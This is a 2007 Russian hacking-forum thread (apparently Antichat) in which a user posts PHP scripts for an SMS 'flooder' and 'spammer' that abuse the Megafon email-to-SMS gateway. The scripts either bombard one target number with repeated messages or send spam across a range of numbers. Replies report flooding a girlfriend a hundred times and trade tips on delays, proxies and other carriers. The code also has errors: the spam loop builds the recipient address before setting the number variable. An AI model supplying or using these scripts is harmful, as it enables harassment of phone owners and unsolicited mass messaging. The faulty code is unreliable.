Авторские статьи Пишем Sms флудер

Discussion in 'Статьи' started by inlanger, 7 Sep 2007.

  1. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Пишем Sms флудер и спамер

    [​IMG]

    Статья расчитана на новичков ачата.
    Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример.
    ФЛУД​

    Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом).

    И так, что нам нужно для написания такого флудера? Да почти ничего:
    • хостинг, с поддержкой PHP
    • мозг + прямые руки
    • умение юзать гугль
    Для флуда мы будем использовать SMS шлюз данного оператора.
    SMS-шлюз — интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки.

    Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают.
    Итак, вы выбрали хостинг, со всем разобрались...
    Создаём страницу index.php следующего содержания:
    PHP:
    <?php
    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>';
    echo 
    '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>Megafon flooder from Inlanger</title>
    <style type="text/css">
    body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
    a:link { text-decoration: none; color : #000000}
    a:active { text-decoration: none; color : #000000 }
    a:visited { text-decoration: none; color : #000000}
    a:hover { text-decoration: none; font-size: 9px; color : #404040 }
    div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
    .a {background-color: orange;  text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
    .v {background-color: orange;  text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
    </style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
    ;
    echo
    "<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>";
    echo
    "</div><div class=\"v\">
    <form action=\"sms.php\" method=\"post\">
    Номер:<br />
    <input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
    Текст сообщения:<br />
    <input name=\"msg\" /><br />
    Количество:<br />
    <input name=\"kol\" /><br />
    Задержка в секундах:<br />
    <input name=\"zad\" /><br />
    <input type=\"submit\" value=\"Поехали...\">
    </form>
    <br/><br/>

    <br/></div></body></html>"
    ;
    ?>
    Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php:
    PHP:
    <?php
    $from
    ="любой почтовый@ящик";
    $to=$_POST['to'].'@sms.mgsm.ru';
    $msg=$_POST['msg'];
    for(
    $i 0$i $kol$i++)
    {
    mail("$to""""$msg""From: $from");
    sleep($zad);
    }
    print
    "
    <html>
    <body>
    <p align=\"center\">
    Your 
    $kol SMS:<br><b>
    $msg
    </b>
    has been sent to 
    $to
    <br></p>
             <div align=right>Inlanger</div>
    </body>
    </html> "
    ;
    ?>
    Начинаем разбирать код.
    Вначале скрипта мы присваиваем переменные.
    $from - любой почтовый ящик, от которого будут идти сообщения.
    $to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН.
    $msg - переменная, в которой содержится текст, который будет посылаться.
    Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep.
    Функция mail как раз отвечает за переслку почты на шлюз.

    Теперь о функции sleep. Зачем она нужна?
    Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7.

    Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку...
    Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения.

    СПАМ​


    Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама
    • всё, что было перечисленно для флудера
    Нужно немного переделать форму отпраки. Приведу только фрагмент:
    PHP:
    <form action=\"sms.php\" method=\"post\">
    Номер:<br />
    <input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
    Текст сообщения:<br />
    <input name=\"msg\" /><br />
    Диапозон номеров:<br />
    ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
    Задержка в секундах:<br />
    <input name=\"zad\" /><br />
    <input type=\"submit\" value=\"Поехали...\">
    </form>
    И немного модифицированный код sms.php:

    PHP:
    <?php
    $from
    ="любой почтовый@ящик";
    $to=$i.'@sms.mgsm.ru';
    $msg=$_POST['msg'];
    for(
    $i $diapstart$i <= $diapfinish$i++)
    {
    mail("$to""""$msg""From: $from");
    sleep($zad);
    }

     ...

    Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода:
    [+] работает без базы. на лицо экономия средств и трафика
    [+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет
    [-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS.

    Что сказать в заключении...
    Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна.
    При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья.

    P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен.

    P.P.S. Тут будет список операторов, на котором флудер/спамер работает(проверенные юзерами ачата):
    МЕГФОН
    МОТИВ(Екатеринбург)
     
    #1 inlanger, 7 Sep 2007
    Last edited: 7 Sep 2007
    8 people like this.
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    дай линк на тест. ставить все это сейчас лениво
     
    1 person likes this.
  3. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    тестилось всё на сайте фирмы знакомого. скрипта там уже давно нет. так что всё своими силами ;)

    У меня просьба. Пишите список операторов, на которых это работает. Так как тестировался только мегафон.
     
    #3 inlanger, 7 Sep 2007
    Last edited by a moderator: 7 Sep 2007
  4. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    хз как у вас у нас в by везде антибот
     
    4 people like this.
  5. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    В России его почти нигде нет. В Украине - в половине операторов.
     
  6. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    вот и я подозреваю, что пахать не будет. как-то слишком просто=\
     
  7. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    говорю же, на днях тестировали. на мегафоне 100% работает.
     
  8. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    ну ладно, сейчас проверю.... как же мне х*ево...


    что в поле from писать?
     
    #8 Piflit, 7 Sep 2007
    Last edited: 7 Sep 2007
  9. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    если что, скрипт и статью можно добавить работой с прокси, если другие операторы будут выпендриваться с ограничением по IP

    это я забыл добавить отправителя... уже всё исправил. пробуй.
     
    #9 inlanger, 7 Sep 2007
    Last edited by a moderator: 7 Sep 2007
  10. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    sorry for my bad english... :(
    исправил на "has been sent"
     
    #10 inlanger, 7 Sep 2007
    Last edited: 7 Sep 2007
  11. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    через сколько они должны доходить?
     
  12. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    не знаю. я сам с Украины и не тестировал на мегафоне. ну, раз людям нравится, то скоро :)
     
  13. myp3zz

    myp3zz Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    26
    Likes Received:
    15
    Reputations:
    0
    сразу, у мееня на мотиве, девушка сразу получила я тебя люблю 100 раз, почти за 5 минут, процесс удлиняется только таймаутом, но его можно ставит ьна ноль и все =)
     
    1 person likes this.
  14. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    далеко не нова статья... как юзать мейл... мдя..

    тем более что не все операторы позволяют так отправлять всем.. например у киевстара по дефолту залоченый прием смс с мыла да и пре желании мона отключить прием смсмс мыла.. так что :(
     
    _________________________
  15. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    у московской меги видимо тоже залочено
     
  16. myp3zz

    myp3zz Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    26
    Likes Received:
    15
    Reputations:
    0
    ты таймаут 7 ставишь?
     
  17. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    я ставлю таймаут 1. а может надо ставить 1337? или еще какой-то?
     
  18. myp3zz

    myp3zz Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    26
    Likes Received:
    15
    Reputations:
    0
    нужно ставить 7
     
  19. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    дополнил статью примером простого и тупого до безобразия спамера, которому не нужны базы.
    у кого ничего не пашет - читайте P.s. к статье. может у вашего ОПСОСА давно отключена данная услуга или изменился адрес гейта. и ещё, отправьте сначала с помощью mail функции обычную почту на обычный ящик. вдруг у вас не держит хостинг.
     
    #19 inlanger, 7 Sep 2007
    Last edited: 7 Sep 2007
  20. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    а ты мыло какое пишешь?